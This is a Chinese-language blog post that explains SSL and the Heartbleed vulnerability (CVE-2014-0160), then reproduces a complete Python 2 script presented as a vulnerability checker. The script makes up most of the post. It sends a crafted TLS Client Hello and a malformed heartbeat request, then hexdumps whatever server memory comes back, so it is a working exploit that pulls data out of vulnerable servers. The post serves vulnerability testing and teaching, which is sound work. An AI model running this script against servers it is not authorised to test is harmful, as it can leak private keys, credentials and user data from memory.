一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
Python实现的飞速中文网小说下载脚本
Apr 23 Python
python实现数独算法实例
Jun 09 Python
简单介绍Python的Django框架加载模版的方式
Jul 20 Python
Python循环语句之break与continue的用法
Oct 14 Python
详解Python字符串对象的实现
Dec 24 Python
举例讲解Python的lambda语句声明匿名函数的用法
Jul 01 Python
Python中字符串的处理技巧分享
Sep 17 Python
pytorch 转换矩阵的维数位置方法
Dec 08 Python
Python对象转换为json的方法步骤
Apr 25 Python
python输出数组中指定元素的所有索引示例
Dec 06 Python
Python 实现向word(docx)中输出
Feb 13 Python
python四种出行路线规划的实现
Jun 23 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
PHP提取中文首字母
2008/04/09 PHP
php数组函数序列之in_array() - 查找数组中是否存在指定值
2011/11/07 PHP
360通用php防护代码(使用操作详解)
2013/06/18 PHP
PHP实现数字补零功能的2个函数介绍
2014/05/12 PHP
PHP会员找回密码功能的简单实现
2016/09/05 PHP
Js 刷新框架页的代码
2010/04/13 Javascript
javascript XMLHttpRequest对象全面剖析
2010/04/24 Javascript
三级下拉菜单的js实现代码
2011/05/23 Javascript
JavaScript类属性的访问方式详解
2014/02/11 Javascript
js 数值转换为3位逗号分隔的示例代码
2014/02/19 Javascript
javascript实现点击后变换按钮显示文字的方法
2015/05/13 Javascript
JavaScript几种数组去掉重复值的方法推荐
2016/04/12 Javascript
Bootstrap3制作图片轮播效果
2016/05/12 Javascript
AngularJS使用ui-route实现多层嵌套路由的示例
2018/01/10 Javascript
JS数组求和的常用方法总结【5种方法】
2019/01/14 Javascript
基于vue+uniapp直播项目实现uni-app仿抖音/陌陌直播室功能
2019/11/12 Javascript
vue 使用class创建和清除水印的示例代码
2020/12/25 Vue.js
[50:27]Secret vs VG 2018国际邀请赛小组赛BO2 第二场 8.17
2018/08/20 DOTA
用Python实现通过哈希算法检测图片重复的教程
2015/04/02 Python
python清除指定目录内所有文件中script的方法
2015/06/30 Python
python使用webdriver爬取微信公众号
2018/08/31 Python
Python读取excel指定列生成指定sql脚本的方法
2018/11/28 Python
Python实现DDos攻击实例详解
2019/02/02 Python
Python中按值来获取指定的键
2019/03/04 Python
ZABBIX3.2使用python脚本实现监控报表的方法
2019/07/02 Python
Django中使用Celery的方法步骤
2020/12/07 Python
python中doctest库实例用法
2020/12/31 Python
Pam & Gela官网:美国性感前卫女装品牌
2018/07/19 全球购物
计算机维护专业推荐信
2014/02/27 职场文书
开工仪式主持词
2014/03/20 职场文书
个人安全承诺书
2014/05/22 职场文书
护士求职信范文
2014/05/24 职场文书
设计专业毕业生求职信
2014/06/25 职场文书
区长工作作风个人整改措施
2014/10/01 职场文书
服务员态度差检讨书
2014/10/28 职场文书
Go语言怎么使用变长参数函数
2022/07/15 Golang